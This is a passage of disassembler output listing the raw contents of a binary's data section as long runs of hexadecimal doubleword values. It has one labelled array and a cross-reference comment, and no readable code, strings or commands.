dd 3006B539h, 90CE9692h, 2638B6C0h, 86B82D69h, 7012A04Dh
dd 90830B27h, 5F548C5Ch, 0C2A482BDh, 7D4C1075h, 593A9864h
dd 820124C5h, 207B80B8h, 111DD654h, 99398041h, 31805F6h
dd 3143E53Ah, 60A681C5h, 4CA86A16h, 42E114B1h, 95B01C74h
dd 906184EDh, 0D140F9DFh, 0FAEC86B7h, 0EE250B8Eh, 0A80219C3h
dd 1C242440h, 6BF8AF40h, 2BE53C10h, 6CF0E812h, 0A84D0980h
dd 14E25DDBh, 1ED6E0FEh, 8FDE6E2Ah, 8B009CEDh, 0B5D0FC25h
dd 25B04020h, 3C929353h, 0D458F6h, 8F9C096Ch, 12CED82Eh
dd 0ED38B40Ch, 4855C0E0h, 0EB806465h, 7813207Ah, 0F4971A07h
dd 2644AD6Eh, 0EEB804A0h, 7C7207A9h, 6C6482D1h, 245027FEh
dd 0A378A2F8h, 0DC86D414h, 8C47F8CCh, 9306AD3Bh, 984174C8h
dd 6EC9E533h, 7C270022h, 0E0841CE2h, 413F0DE6h, 9C80BDF0h
dd 88C62F68h, 0A1659B26h, 8C44A422h, 5AE20958h, 0E8CDE6C5h
dd 391351C0h, 7ACEF47Bh, 60B04BBDh, 1DC51160h, 602600B2h
dd 0DD91682Ah, 4DDAEB00h, 73F7EEEFh, 53B0CB64h, 0EB098C44h
dd 23C4C841h, 45D8C1A1h, 61F09EAh, 0B87E106Ch, 0DA465Eh
dd 409E2EF4h, 97F28707h, 0A8916417h, 699367C0h, 0C89420A0h
dd 300BBA38h, 0ECDC68B7h, 0E5F3047Ah, 0E496E393h, 6B40FCC8h
dd 90B54ACCh, 0BA2E84B8h, 7E439D0Eh, 0C8B6F368h, 0F2FB16E0h
dd 0C9F5C4Ch, 706FA22Eh, 409FB573h, 2980D411h, 0EC2A300Dh
dd 0C83EDC5Ah, 3AD823h, 0CB799EA6h, 1E050C11h, 0A40855CFh
dd 0A34EB944h, 30A5E25Ch, 0CA02A1FBh, 9920B6F9h, 242058D9h
dd 8074B465h, 0A53D81D0h, 0B14B5B6Ah, 47E2DCB2h, 4C429930h
dd 5D277414h, 5F81D440h, 0E4DCA827h, 0A36624C0h, 98C94068h
dd 560EF468h, 34A68694h, 1A6F0090h, 65A9CB89h, 887AF77Eh
dd 0C8B4F788h, 546465Eh, 6D68525Ch, 2D864E4h, 0C398087Bh
dd 0C456099Bh, 94E23080h, 37620h, 0CBACD7A2h, 401BBBE6h
dd 8C679A04h, 0AFC1683Ch, 0C878D178h, 0E8483D18h, 0F059B625h
dd 0D8A101BCh, 47A65D4h, 1C4D10A5h, 0BDE103C7h, 0B43204DFh
dd 0CA376703h, 9C83FC6h, 6B136A1Bh, 0CC0491D1h, 2B01D379h
dd 2A333A15h, 4068ECCCh, 807AEDBCh, 84B20E4Eh, 4241910h
dd 0D455CEC2h, 690E14ACh, 28B8B488h, 0C052DC27h, 14205EE0h
dd 2225DB5h, 98663BD9h, 0C0E4A003h, 518A4CF0h, 8626015Ch
dd 43592546h, 0C2F042E7h, 0E00473A8h, 58C867E5h, 0E4031CE8h
dd 15EC9D96h, 6C04E4B4h, 0DA1F6B42h, 8827BEF8h, 379FE85Ah
dd 0D595053Ch, 0F1EF00D9h, 98EB63EEh, 0CE309F09h, 95BCD803h
dd 20F130C2h, 0C1386DAFh, 0F0A09142h, 0C0486773h, 99A444DCh
dd 6BE241h, 0DBF7DA9Ch, 54B250A0h, 8F995800h, 0B6233FC4h
dd 2FF09CD8h, 46913497h, 0F110B280h, 0AD095C50h, 8261A8CFh
dd 44319D00h, 14E6955Ch, 415998B9h, 4701A218h, 0C04A3AFBh
dd 0E1883834h, 1B04E349h, 8C92284Eh, 80F0DC53h, 0D4121427h
dd 8F00300Ch, 482658CAh, 3A04AFA3h, 5505431Dh, 0E6DE1610h
dd 98C6E1C0h, 63EC8D21h, 40535FB1h, 42DB3770h, 0AFFE650Dh
dd 522DC400h, 0FED6BAE9h, 61A113F3h, 9858047Eh, 89C83744h
dd 0ACD661B5h, 0CFAEF760h, 80F682E6h, 345D808h, 5A441156h
dd 14900C5Eh, 94AE35h, 3F2A12B7h, 1EA5E7CFh, 0FD835C00h
dd 4EE0990Bh, 2695125Dh, 0B894E9DBh, 36BE39A0h, 0D8FA4825h
dd 0B5BF440Fh, 39EC82D7h, 258CD06Bh, 0DC5C38C0h, 4BA2AD0Bh
dd 305EF9A4h, 8E5FBC38h, 0C0D1C8B0h, 0AE7BDB72h, 5C49D04Bh
dd 1CC7205h, 6711610Eh, 0FC25F66Bh, 0B4AAB8C0h, 9058025Dh
dd 64B500A0h, 41C2DCEBh, 0E67CC040h, 0F8FC27ECh, 0BA003C3Dh
dd 875EF403h, 3CD100B7h, 0B2EB2FF7h, 0EE25CBE2h, 0B4987A4Ch
dd 8601D6D4h, 25DE3E42h, 982DFC26h, 91470A00h, 0DFEB31ECh
dd 0CB923A1Ch, 0F19A6B87h, 54DDCDE2h, 541B02F0h, 0D8512446h
dd 2718A6D9h, 94748E01h, 0ADCD32E5h, 0CC17B06Ch, 81A020B6h
dd 433CE15Ah, 0C2FC48EFh, 0D46C8813h, 5639042Ch, 44B74B84h
dd 0A7A300B8h, 0CE2EDC9h
dd 73A32BBh, 14CB5A0Dh, 2BC0A1C8h, 0D632FF8h, 34D9278Fh
dd 0C4486D84h, 4E207766h, 987A839h, 0D8028BDDh, 0A6203E3Ch
dd 2630B5E6h, 9E0E3E1h, 1C59A969h, 22F4B115h, 0E5390B24h
dd 2C7A35C1h, 5625B504h, 60E9B148h, 34753898h, 0C8A2394Bh
dd 0B4DE0479h, 0F0539D99h, 472F6CCCh, 84681D56h, 0A8E1E53Ah
dd 0DFE3031Ch, 0F5C5CF0Eh, 2CB5F4B0h, 93749938h, 5BC0BC9Bh
dd 22A0802Ch, 0F51094D7h, 0E25E3D51h, 0AFAC1D7Ch, 7517081Eh
dd 0F0D9A09Fh, 38207B94h, 29A86053h, 0ADC04F7Ch, 5C7950B2h
dd 0CF55AD02h, 0E0177593h, 24814091h, 0E81759A5h, 689DB670h
dd 16E9FA34h, 8B0A12D7h, 0C0DBC8BCh, 71B84AA4h, 0B672E200h
dd 12BDDF55h, 8CE03E8h, 1689E6FDh, 301C40E0h, 19D2AB00h
dd 633BF21Dh, 0C4DF0CDCh, 821A966h, 0A094F09h, 3203856Bh
dd 95CB24C0h, 2D79E80Ch, 64A3B786h, 1FFBA55h, 0E0263AF9h
dd 7E01C3E1h, 5AE372DFh, 0ACDC3624h, 7CB60099h, 0E40A1A85h
dd 6F5BA310h, 4B88B4CEh, 0CE4A31C0h, 8841003Bh, 6DF9A586h
dd 0B79539B3h, 0B8EE0048h, 79A8E037h, 28B4A8C3h, 0F840C55Dh
dd 396254A1h, 6CC5B5E3h, 3E0D0374h, 183A310Bh, 0E15C0812h
dd 97017806h, 0D2392008h, 641F8924h, 2841C70Ch, 10576355h
dd 8310C16h, 2F9431C1h, 28481198h, 18C6CF9Fh, 2008F772h
dd 0AE44E524h, 0D9C340D1h, 0FD382D63h, 321010C9h, 2178332Ah
dd 31088646h, 6718138Ch, 35088C25h, 0C61818E6h, 187364C1h
dd 32FCC920h, 0FF08DCADh, 0F8373050h, 0D9FC10EFh, 4729C629h
dd 0F0634054h, 31B7B981h, 0CBC9A208h, 2040BB0Eh, 0C65D71BAh
dd 204E2510h, 0BD806F71h, 51FB819Ch, 8874A08Ch, 0C01DB08h
dd 0C63017E8h, 40396540h, 0FD627AEDh, 39DE108h, 201012E0h
dd 0E531D453h, 9E559C89h, 91F34A08h, 4610103Bh, 0E9261866h
dd 0C4BECA30h, 0CFB3008h, 4094A1AAh, 71C670E3h, 31180D41h
dd 3B4847D3h, 98188CD7h, 401B08DAh, 6632CBBh, 10034928h
dd 100F9108h, 0B12A151Dh, 0EBD63298h, 98AEC408h, 381BF988h
dd 0F4164489h, 0ED08C62Eh, 953218EAh, 0A7928023h, 207CC8F8h
dd 185263A7h, 8225383h, 60AB327Ch, 84A67A20h, 18201937h
dd 1E8F206Ah, 50F00D32h, 1C4A203h, 93040457h, 0F1181F38h
dd 7B1008C0h, 0B97480CDh, 4F6708C6h, 27D12058h, 20682F20h
dd 3F319B9Fh, 516A08DDh, 0B810288Ch, 0B9CA6210h, 7F889CA2h
dd 35780826h, 20C1F118h, 0FE868021h, 0D8EF38C6h, 67353108h
dd 8C1C6518h, 18C85048h, 2711409Ah, 243FC0A9h, 7C928CB0h
dd 8191AA62h, 1BA7033Ch, 0EE580818h, 0C62CF518h, 8716228h
dd 26394C64h, 485B2092h, 0C65609A4h, 38CBB208h, 101A6031h
dd 89939A6h, 93AD29D4h, 1C448169h, 0B804BACAh, 0BFD806D4h
dd 82EC5B08h, 7C49AEB8h, 0EBC8532Fh, 0BD684919h, 26D6FA28h
dd 5B3110C0h, 0E0892040h, 0E0A4D602h, 93FC9347h, 0C8B2712Ah
dd 20625931h, 8922912h, 0F3304A1Ch, 30BA8C84h, 11C6E618h
dd 20083AD7h, 573245C1h, 68E330C5h, 0C64BDC34h, 8198818h
dd 0DEB1C860h, 0B953F8BFh, 98053984h, 0D33E69EBh, 0A3C07650h
dd 10C03F41h, 756FF625h, 46D1056Dh, 840FF26Ah, 8E0B06Eh
dd 56BB3100h, 4EF42B4Bh, 0C6E000AAh, 1A4F70CEh, 6E77FECFh
dd 4CB839F5h, 52CB00B8h, 0AD0BFAB2h, 0EC9700F3h, 0D4EAE5E8h
dd 541F5CD6h, 13C06F7Bh, 0B6FB1773h, 0A3612AFh, 5800EBFDh
dd 1976D3A3h, 0E0334838h, 29FB17h, 953717FCh, 0BC00E9B5h
dd 0F0A61032h, 267375h, 6BFED73Ch, 7EF41901h, 5A000FF0h
dd 621C8814h, 938A576h, 98FAD10Ch, 0ECFA85h, 94DB54F9h
dd 3B006ADCh, 222C1EDDh, 67161A3h, 0E447734Fh, 0DF309814h
dd 84FB800Bh, 5289144Ah, 0DA28CA42h, 0AE6225B0h, 5090947Ah
dd 6444E89Dh, 801A0C47h, 0DC108C09h, 0B3D4FD0Ah, 3B1EAC54h
dd 603604C3h, 7C7ECA40h, 2350080h, 8C6BC50h, 36BE521Eh
dd 0C7B3202h, 53FF41DAh, 40807EE9h, 0EE4F489Bh, 54741389h
dd 0E4786A41h, 0B49A3B80h, 611C8072h, 6640868Eh, 6230ECE0h
dd 68B8C02Ah, 0A099171Fh, 0D206E8B9h, 487091h, 2411833h
dd 0FFCDF47Eh, 398F200h, 6B7DAEE7h, 1AD603ACh, 0DF23540Ch
dd 7BEB3000h, 9FCA4E01h, 731C0F19h, 0E900E8CEh, 7AECFFD0h
dd 937CA0BFh, 3B7575Fh, 0D34F389Bh, 0D000332Ch, 0D4ECFA23h
dd 30C2169Dh, 3920CEE2h, 6B28E0D8h, 815AA476h, 53D0B081h
dd 712C840h, 0C880FF38h, 0E96DA097h, 0EB00F0E6h, 89455475h
dd 0C0CB53D4h, 3FF38C60h, 6300861Ah, 42D3C60h, 28B251h
dd 0CEE053E2h, 0D0EE4ED8h, 0AC30FC2Eh, 0F5E43943h, 4041F85h
dd 31C20ECh, 0DC421A7Dh, 9F18FBE0h, 0B454C883h, 4B618255h
dd 0B070A368h, 62B15304h, 0A20BB00h, 50CA12F6h, 996090EBh
dd 37D36F9Fh, 0D9B87F61h, 547E2810h, 40F31730h, 18A018DDh
dd 0A0D73A03h, 1914369Fh, 92477ECh, 1057618Dh, 50334Ch
dd 63B2A441h, 13340999h, 0C31C1A00h, 3D31582h, 48FCA97Ch
dd 8C88A110h, 1CE64Ch, 0CE1FD4Dh, 333CFAh, 6B55D042h, 76255261h
dd 1B443Eh, 1541AEDBh, 9656A3Dh, 0C27330DEh, 20AF9024h
dd 9E2DB39h, 6837FFB1h, 8972081h, 54A18670h, 0E1713Ch
dd 0ED62618Bh, 0D415BA89h, 884C1128h, 17697E1Ch, 205D149h
dd 0C0A3A8h, 6FA9168Ah, 0FE927409h, 43844214h, 82EEA2DDh
dd 0D6C20A8Ch, 0D407039Ch, 3800C6BBh, 0B854A185h, 0EF040963h
dd 77FC3020h, 0F66C0C81h, 13588706h, 209C4D03h, 44317ED4h
dd 30D3EC38h, 0E2104AD2h, 40903306h, 72EBA900h, 0B8569D0Fh
dd 0F89F06A2h, 2885C8D4h, 8A5A324h, 12A80C67h, 0E03A12E9h
dd 0AE0060FCh, 0A9FA3BCh, 153E278Fh, 0D080FBD3h, 81101849h
dd 0CEE301ADh, 0D83B4F30h, 0E6141422h, 1310306Ch, 10429Ah
dd 78BA90F0h, 7FCFEE34h, 25A09017h, 98F0C931h, 9B058703h
dd 0D0EB1A30h, 0E555C95h, 0F1B386CEh, 0C5682044h, 0E12A826Ch
dd 0C834F0AAh, 0D4FC03B8h, 0F0072751h, 1A37677Ch, 280BDD43h
dd 9E06A30h, 78EC7D88h, 3EFB5810h, 0E220F262h, 0FC70405Dh
dd 0C9E93054h, 0A98F4C0h, 0D4003E7Bh, 323C2D16h, 7E5857Ch
dd 0E17B49B4h, 9AAE01Ch, 710EE241h, 0FFC2AE3h, 3B617880h
dd 0C65418ECh, 9565090h, 40A48B4Dh, 0E60058A0h, 7DEC49FDh
dd 0B8576684h, 0CC00BDAAh, 1817FEE2h, 2C970A12h, 0A7B32003h
dd 0D5B4D036h, 0E8A65298h, 68CDEB14h, 0E2589D30h, 649840D0h
dd 48A2A890h, 0B354B081h, 0BD888C92h, 40A61017h, 0F0A109E8h
dd 3090201Ch, 22CC2750h, 4A62C540h, 3580A4ADh, 550748C2h
dd 0D49CC02Bh, 30BA4917h, 6E01A021h, 1B327BE0h, 0C402BC54h
dd 5D4FF31h, 2CD40487h, 19A001Ch, 27123304h, 4C40C10Ah
dd 14B86661h, 0A2D1BA02h, 6CBDB410h, 78EB00CCh, 0FE694975h
dd 0EC28F570h, 850B08D0h, 202E5409h, 0DF4248DCh, 4C64B0ACh
dd 7B01F414h, 0FBB6997Dh, 0A148CFD3h, 0B87C0998h, 89141804h
dd 0AFF700B9h, 70B3DFD9h, 0BD543530h, 0CD203118h, 540D179Bh
dd 0BD20B0FBh, 640670Dh, 88ECA83Ah, 55097A8Eh, 9820E01Dh
dd 48E8F46Ah, 1938CE4h, 0E3B649E4h, 0AF287008h, 1B1A4E07h
dd 2F8355E2h, 621114B0h, 0B0401456h, 58F154C4h, 28E250E5h
dd 90610856h, 70EF5A0h, 5F6D6FD8h, 0F98A7700h, 0D031BB36h
dd 3B0A0878h
dd 3E14082Fh, 58E02050h, 310F509Ah, 0C4A24138h, 0F581CB7Dh
dd 9D169230h, 0C8EE4C80h, 0D3123828h, 0C073C294h, 0F854FC9Ch
dd 0F377347Ch, 31C48111h, 122181ADh, 0CDE5D4FBh, 78F09C24h
dd 0B20CE609h, 3A402D4h, 228530EAh, 0D2A3BCA0h, 0D4E2E257h
dd 28783433h, 18B07A9Dh, 2806B430h, 0E313522Dh, 0B8E40898h
dd 1AFCB8B3h, 11ACFF85h, 7FB1B460h, 14FD3304h, 7CC0CE13h
dd 5D93D462h, 0B90020E8h, 7CF2B1B6h, 34BA7214h, 0CD5348A8h
dd 32A4A548h, 9EA0E6h, 0DE3B89F7h, 81CB50C0h, 58B77ADCh
dd 5A13D887h, 16C027C6h, 1B4C30BEh, 17221Ch, 147F0AA3h
dd 0D46C5C55h, 7EA2981Ah, 0DA148511h, 3F64F821h, 170EC048h
dd 4B7D09D7h, 5480B4FCh, 42442085h, 0F500847Dh, 39749D8Ch
dd 136C54FDh, 7048CED0h, 9FE242E4h, 73F0D14Dh, 7C57E145h
dd 0E81702C7h, 68BF6DF2h, 1DDD5C9Ch, 0FDAD6182h, 12C87CA8h
dd 616AD2F1h, 33E1CC04h, 15207C08h, 2A0A25DAh, 9F12F0DCh
dd 0B416350Eh, 8AD4162Ch, 7A37C40h, 0BC3D82h, 29D2EBD7h
dd 0CF1674E7h, 604ED029h, 140F3016h, 9003F69h, 17B64140h
dd 0CDCC2838h, 54590AF4h, 1C020CEh, 5E61FEC6h, 88892096h
dd 0B676D419h, 0D070D570h, 3C29CA62h, 9007C984h, 9C23CBE3h
dd 82E46342h, 0A061B6FCh, 923C7060h, 0CCA03894h, 40C43B4Dh
dd 22DDDCCh, 88C822B8h, 20CCC6BAh, 4CB2D378h, 865CB400h
dd 0D05880B7h, 7AEE126Bh, 0DDC0018h, 0D4BB6FC2h, 50BA43E2h
dd 24B48625h, 87C418h, 5230A20Eh, 8A144A64h, 0C58014C0h
dd 0E4488520h, 52CB123h, 0D02190Ah, 0DD10B1C4h, 0DC9420B4h
dd 0A06E0BEh, 0B030825Fh, 15042064h, 24A53A3Bh, 3150143Ch
dd 0E4C150F6h, 0E16E60E6h, 6417D3EDh, 33941899h, 2AA600D0h
dd 14192958h, 430A2F02h, 350870E1h, 0FFDC65A4h, 84DB7DB8h
dd 0A841D330h, 0BAB67A53h, 6408F934h, 0B3742750h, 0EFCC011Fh
dd 0EB288A98h, 86166E89h, 0DD13449Fh, 0D50BC68h, 0B0B5E0FBh
dd 0FFC4B032h, 0EF232080h, 380F2AB6h, 946948F4h, 12400B2Eh
dd 19B8011Eh, 0BA6104D3h, 0C099AD70h, 0F80C8970h, 0B23800E0h
dd 19DEE309h, 58B08B4Ch, 58484920h, 0E781741Bh, 0B8197230h
dd 5CD890h, 62C609FBh, 98048E70h, 60134584h, 9E30D49Ch
dd 69926814h, 0DB343C7Bh, 0AE4B628h, 1CE3FF0Dh, 0AB6040D0h
dd 889899B7h, 0E006D33Dh, 9CB68838h, 0E4FD097Bh, 0BF0375EAh
dd 0EEB85171h, 0DD78C06Dh, 3C0F5902h, 58CB54EDh, 0FE3B0038h
dd 5843FA09h, 7B045961h, 3A634F73h, 78D40884h, 0B0F8D480h
dd 0D36C09ECh, 6444392Ah, 0A888989Ah, 61BFF20Ah, 0F8501D18h
dd 0A0773C54h, 488BEAA4h, 0CFC524E5h, 0F17C8817h, 77B1FB00h
dd 2884FC25h, 0A4C7140Eh, 3C009443h, 0DB4D6E15h, 8078F392h
dd 0D9E2DD2Ch, 53499305h, 42B7087h, 84C2D018h, 0C99360EAh
dd 0A988C108h, 0E49E9503h, 3800133Ch, 0F37F6335h, 0F2E0EC82h
dd 0F0A2582Ah, 0A5909B2Eh, 99B8D80Ch, 0DF886095h, 0B40750D8h
dd 0A31840E4h, 0A745F500h, 82FE1F24h, 0AC9024C6h, 20BC0940h
dd 0CC2C6C45h, 7E0C9D2Ch, 1E8E4187h, 437DFA2Eh, 0D1DD5ACh
dd 0F9088284h, 541090A0h, 6896BFF3h, 0CD098802h, 0D840E826h
dd 8F44D30h, 0B41A2Eh, 3BDA8BA3h, 0EB0019FBh, 5A5C83C6h
dd 789A6FF9h, 0B289046Bh, 0E8DA3B90h, 64AB2CC0h, 847EE10Eh
dd 4C870F82h, 1CD05464h, 2A598C8h, 83263499h, 0A887D04Ch
dd 1C80092Eh, 0C306A13h, 4E5CC649h, 0C185C003h, 90C8C5AAh
dd 7A4300Ah, 69BED050h, 0C5440913h, 83FB6800h, 0FED79CCh
dd 0BC9B8B19h, 1C429AA0h, 0AF3130C3h, 0A513D863h, 5DD3A048h
dd 89060C2Dh, 88F2A109h, 8B7CB204h, 0B4C3061Ah, 0E8895464h
dd 620132FBh, 0B051B548h, 178C7800h, 1423B77Fh, 8D0ECA6h
dd 54128A02h, 0B882A76Eh, 2C7196E0h, 8509682Ch, 53F8686Ch
dd 0A47302ADh, 0DD48A6D3h, 0A8A2787Ah, 0EE006870h, 783209EBh
dd 73AC1D39h, 7C253AD3h, 3304D80Fh, 0D15D1006h, 0D423AF04h
dd 0A895C7C0h, 8E353409h, 134A9A8h, 6EAFD31Ch, 407C4434h
dd 931D2DC1h, 4F80D1ECh, 901920B2h, 5A623354h, 78E88428h
dd 8700B497h, 6E7759Dh, 0FAD44C1Eh, 0BBD31622h, 0A4503074h
dd 0F0F0A63Ah, 43293C00h, 319ECB1Fh, 0F4D41275h, 0F2584013h
dd 1060AF6Ah, 1DD9AC00h, 0ABCCAD62h, 0BB4C0252h, 89D40A0Dh
dd 1B61CC87h, 24687489h, 7B0BD9EBh, 80B9AF7Ah, 9804CFC0h
dd 274F8D8h, 0E17E6CDh, 2C582A31h, 406A142Fh, 0B79153B4h
dd 0E4E70000h, 9913D2BCh, 0F417h, 0BDDFB115h, 78610274h
dd 1C64D6Ch, 24270C60h, 0A47550Bh, 70086241h, 0B189C70h
dd 5C01497Eh, 3AAE09C0h, 6BB8B0h, 1CEE9860h, 0B5CD43EBh
dd 3C8C30D3h, 0C1454BD3h, 0DC86EE6Ch, 948A088h, 61206441h
dd 0EC18D0C0h, 30D500D2h, 798EBC8h, 5C79B21Bh, 0CC00DAEEh
dd 990A0616h, 2EE46C9Fh, 2760789Dh, 93E3A460h, 0D47B6406h
dd 5868DEC9h, 0B115347Fh, 3813D45Bh, 4C34A841h, 6F688500h
dd 0A84910A6h, 57780A0Ch, 3015CCD9h, 0DACDBB4h, 50254654h
dd 0E1408702h, 51972A00h, 0D3C0029Bh, 0F8A32F3Ah, 597D6E08h
dd 41483409h, 2584F0D1h, 829B080h, 99589CE0h, 0D118F166h
dd 13E57348h, 8876ED03h, 0F9407ED0h, 0B55402A2h, 7B3409E3h
dd 6C6130C0h, 0AC009073h, 0F7D3B38Fh, 6B0333Ch, 993A31Dh
dword_4E414C dd 0E09838A4h, 61FD340Ah, 0EB40CC70h, 0CAFBB630h, 808CB820h
; DATA XREF: ___:off_43A188o
dd 7E6014DCh, 5901A916h, 0D4DACD67h, 0D8805A77h, 5ED72D62h
dd 0B400F341h, 8D618B79h, 136421h, 962A3C17h, 9A8F4DEh
dd 601B6C26h, 94003292h, 0FFE3401h, 2CB7B0A6h, 49902E0Dh
dd 369E7C80h, 0ECF21EB4h, 741DC876h, 69CCF922h, 39879844h
dd 4081C5FCh, 981586Ch, 1BB834E8h, 0FA68661Dh, 0D8703ADCh
dd 79D41486h, 0BDE31E8Eh, 0D5B1331h, 0A7302D7Ch, 276ED488h
dd 0D4668C92h, 3CA8162Ch, 147E2F60h, 0E1D6E75Eh, 9C6C69A8h
dd 6AE43A08h, 0BC059400h, 48EE7C2Ah, 9B10207Bh, 6E13024Ah
dd 92C6030h, 1A7AAC21h, 0D310A82Bh, 0A7257CECh, 19181839h
dd 50A482FAh, 40991297h, 277CF830h, 201113A4h, 0BAE06097h
dd 0C829D141h, 4F88552Ah, 9DC44BB7h, 0B530F421h, 194084DEh
dd 348CCFECh, 0E7FC9AF4h, 778CD0h, 2BBCB156h, 0F8D4027Ch
dd 0C0994B9h, 0E888E8A3h, 0B4A600D0h, 6C1485C9h, 55273065h
dd 899CA10Ch, 9B70101Ch, 8DE40332h, 7E419390h, 0A38C85BCh
dd 9BFB169Ch, 60C0E8C4h, 386C55FEh, 4FA0D4E3h, 4899C890h
dd 0E7E7980h, 30FBBCCEh, 85381FADh, 9504A15Bh, 8CD4065Dh
dd 992D64ECh, 97717498h, 598E080h, 9BB56CF3h, 8C87C721h
dd 2C021618h, 0CF557E49h, 44AC58D8h, 413A85E2h, 18214BA7h
dd 0D2024B70h, 0E47A1C44h, 6505913Fh, 0AC811C70h, 0F8293730h
dd 5460B689h, 4096E7FFh, 0DF17F424h, 0FEF1A4F1h, 69060428h
dd 40683807h, 8D3E8A77h, 20E05AD4h, 10A302E0h, 0AA13753Dh
dd 0D46AE048h, 20522630h, 0FE60EAh, 292DAD86h, 0F2DF9CAFh
dd 0E3FB7C00h, 766C6361h, 25A406C8h, 0C928D90Ah, 9CB3D326h
dd 0E99C5462h, 11E43BA4h, 24033F44h, 3CD46386h, 25046870h
dd 98DF4F31h, 0A6EBA8CCh, 54319ECh, 0B00AC86Bh, 87A5686Ch
dd 6C87E66h, 5418049Bh, 3B003140h, 0E245AA29h, 972E185h
dd 1DA730E4h, 88948C2Ah, 0E113D77Fh, 4FE0BC04h, 3E626F00h
dd 4A005192h, 0CF98B873h, 8BB196h, 8D171F67h, 0E2E65069h
dd 0FDBA9496h, 1060322Fh, 802F8154h, 3076EC01h, 0BA2280h
dd 745DEDF9h, 0DB807314h, 603150C3h, 2E880E9Dh, 4160F4C1h
dd 7D1DFB30h, 0F4A36D7Fh, 54135902h, 0D2DCD3F2h, 6780F090h
dd 50DD106Ch, 86D47CF3h, 84EC4554h, 987DDB28h, 10E11824h
dd 643EE8Fh, 108EA2h, 7741886Fh, 2DDC14FAh, 0AC06A171h
dd 5E76540Bh, 28585958h, 0F8947674h, 182860C6h, 0DB26DEEAh
dd 49833600h, 181C1707h, 8CE40009h, 0D7A6229Dh, 6873622Ah
dd 258CFE48h, 0C4C44AAh, 819AD4FFh, 0B47992A8h, 7F663F00h
dd 700C84FCh, 38EF0115h, 30F304A5h, 14068E3h, 0FBB75860h
dd 8033CD41h, 54FFD103h, 600081FDh, 555C7E89h, 909B22ACh
dd 0A480AF0h, 2CC849AAh, 30E5582Ch, 0DC51C765h, 0C2FC844h
dd 0B78B9D01h, 8CFCD024h, 74DF360Eh, 0E05C0EC5h, 0EB9A2DF5h
dd 0F66E28CCh, 643420BCh, 8400E49Ah, 0DF5CF99h, 186E02D9h
dd 203555D3h, 0EC008F23h, 0F892DCDh, 696730F0h, 1C8070BBh
dd 0F30C63D0h, 6204C600h, 3415F460h, 32140095h, 81651C7Eh
dd 6D14EC26h, 0C675FDh, 3B30EED8h, 5825E5DEh, 83256C8Dh
dd 3407F402h, 0ECFE2060h, 0B3A59B02h, 0A0A830CEh, 465662A8h
dd 0DBB50655h, 0C1C389D4h, 8600F090h, 57A42BFEh, 2854FD09h
dd 1EB0E7E1h, 0C94688Fh, 0D3107910h, 84ED3524h, 8CA29800h
dd 0BB4EE2h, 6981676Ch, 5330E055h, 4A7548B2h, 0E5015BF0h
dd 8670EA68h, 707C4Ch, 0F60CECADh, 98EC314Fh, 0E9A60A80h
dd 0ED08303Ah, 7E3D1F05h, 8C4304CBh, 0C05C8778h, 2AE814h
dd 94DF4ED1h, 0CC680F3h, 0C354170Ch, 2D35A0EDh, 5C084070h
dd 22393F0h, 1230E334h, 6A09A058h, 18E0EC51h, 9EE478E8h
dd 0F4B1645Ch, 4FD1D48h, 0ECFDC090h, 0B9B00593h, 526B76D4h
dd 8CF810A0h, 0F0931167h, 1EC719D6h, 8CA5540Bh, 0FF1898DCh
dd 0A9170137h, 0D926B40Dh, 2433F0EDh, 0D31898D9h, 5C2FA820h
dd 0B71BC6Ch, 0B47AEE69h, 0E46D8400h, 91765AAh, 8E4AB7Fh
dd 0BE1D001Fh, 549A70DAh, 0DC4B8D6Bh, 250A6C98h, 1480E3F0h
dd 0A29E8D5Eh, 1E991A12h, 83624C07h, 13EF5734h, 36E45692h
dd 4A40D874h, 4580B87Fh, 0B17C78B9h, 408349F9h, 2DE8715Dh
dd 1AD5ABF0h, 0C0120A2Dh, 146690Ch, 0E4D1BE40h, 0EC4ED909h
dd 0E09C8931h, 3C63E207h, 0E9DB07B0h, 1BE11A76h, 0A0C022E4h
dd 88C0C558h, 137EEDA3h, 14770FDAh, 0A0EC30CDh, 3C028741h
dd 7B297535h, 5910C049h, 0C0C0AAD6h, 81FC70h, 0E6E8CEFDh
dd 0D9AC9B2Ah, 55621A07h, 13C41CF7h, 0E443EC84h, 986509A3h
dd 0F8144775h, 64A13098h, 88E60811h, 0B305B903h, 0C8AA22A6h
dd 0F0EB740h, 0D50A130Ch, 3480F09Bh, 714B61FEh, 423638C8h
dd 805050E1h, 8DC409BDh, 52E00938h, 0D01B49D4h, 134DF301h
dd 0E1197D6Dh, 1C58C6CEh, 7B506F22h, 0F55800F6h, 1DCDAC7Ch
dd 0B70951A2h, 61260987h, 72E2B598h, 849200D4h, 0C18055Ah
dd 172CB803h, 0DE895C43h, 5C14A0CCh, 0EB4AB9Ah, 18293C0Bh
dd 49A13F42h, 9949440h, 0B0118E26h, 0DB3C9D3Ah, 0C3AE77C0h
dd 4ED465E1h, 0FC9840F7h, 0ED44CEECh, 305B4A0Bh, 6AFC6070h
dd 0E1E92E8Ch, 1E27012Dh, 38BA8DA2h, 0FFC903B0h, 1B2FE3Bh
dd 2783FB10h, 0E0B92076h, 5B02AC95h, 0E5B03617h, 21E1C0A1h
dd 0CBD87151h, 0C87862C0h, 24541938h, 7A4084D0h, 7A98A0Ah
dd 5E29A815h, 84D482FAh, 1281F4A1h, 2CF1E0FCh, 158A10C0h
dd 483B6354h, 53821CDDh, 3066D395h, 9044CC98h, 986FF0A7h
dd 36B207Ch, 0DDE3E4A1h, 0F880F628h, 1D2ADC88h, 277F0A14h
dd 0FE6E129Ch, 0A0166C53h, 703C300Fh, 6570A83h, 0A491284Bh
dd 0F030C705h, 0C4324BD1h, 8048A2F4h, 0A553E133h, 3C98C02Ah
dd 3A92E8D7h, 0D488F0EFh, 0E04D0D33h, 0C8E4DC7Eh, 58D06134h
dd 0E059A9A5h, 3D7AD40Bh, 742588C0h, 177E1F47h, 0D2BA3B14h
dd 0BE013400h, 0D6E11CAAh, 0FEC61180h, 273C8E91h, 0FC003272h
dd 0F5E6255h, 1311015Dh, 4B2430D4h, 18415F24h, 0C4042AB5h
dd 50831E7Ch, 67982532h, 86773880h, 28CAB9B4h, 320C8C58h
dd 90E82037h, 43C12080h, 983FE501h, 0F5097E4Dh, 10D05ECAh
dd 704393CFh, 403B7BD3h, 2783A830h, 0B85E23EAh, 4B053680h
dd 26FD052h, 8427C56h, 0D4F096D4h, 0B9322240h, 7B0A9DCCh
dd 700768E9h, 23518316h, 0D4FD1004h, 54C869CCh, 18FAB7h
dd 0E2D0EC10h, 8C0DFB1Dh, 0A4706126h, 87E458A6h, 1085F0A0h
dd 3C22A19Dh, 6C655BAFh, 8198B0C1h, 740202Eh, 0F16194D4h
